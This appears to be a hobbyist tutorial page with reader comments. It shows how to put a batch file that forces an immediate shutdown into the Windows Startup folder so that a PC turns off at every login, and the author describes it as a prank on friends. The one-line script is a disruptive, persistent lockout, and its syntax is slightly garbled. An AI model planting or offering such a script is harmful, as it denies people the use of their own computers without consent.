Shut Down Pc When Someone Logs In

Introduction: Shut Down Pc When Someone Logs In

About: Technology is my passion

HOW TO AUTOMATICALLY SHUT DOWN A PC AS A USER LOGS IN

Teacher Notes

Teachers! Did you use this instructable in your classroom?
Add a Teacher Note to share how you incorporated it into your lesson.

Step 1:

copy the follwing code and paste it in a note pad

@echo off
cd / shutdown -s -t 00 -c "Permanent Shutdown" exit

Step 2: Save

after pasting the codes in note pad save it with a name of your desire or u can use my same name
save it with .bat extension and choose files type as all files

once you are done,the computer u want to shut down as a user logs in
go to start up folder and place this batch file in that folder so next tine as a user logs in this batch file will automatically execute

Be the First to Share

    Recommendations

    • Trash to Treasure Contest

      Trash to Treasure Contest
    • Raspberry Pi Contest 2020

      Raspberry Pi Contest 2020
    • Wearables Contest

      Wearables Contest

    7 Discussions

    0
    MTKapp27
    MTKapp27

    3 years ago

    neat trick, but how do u get it to stop???

    0
    EmptyZed
    EmptyZed

    Reply 3 years ago

    Since I'm not quite sure why you would go this route to secure the computer. I would probably have a live boot disk around and boot to that. Then access the drive and delete/rename the file. I'm sure there are other ways.

    0
    MTKapp27
    MTKapp27

    Reply 3 years ago

    Why did you create this?

    0
    EmptyZed
    EmptyZed

    Reply 3 years ago

    I didn't.

    0
    Nikz
    Nikz

    Reply 3 years ago

    for fun buddy,,,just to prank friends

    0
    Nikz
    Nikz

    Reply 3 years ago

    for fun buddy,,,just to prank friends

    0
    Nikz
    Nikz

    Reply 3 years ago

    boot the computer in save mode and go to start up folder and delete the batch file and restart your pc.............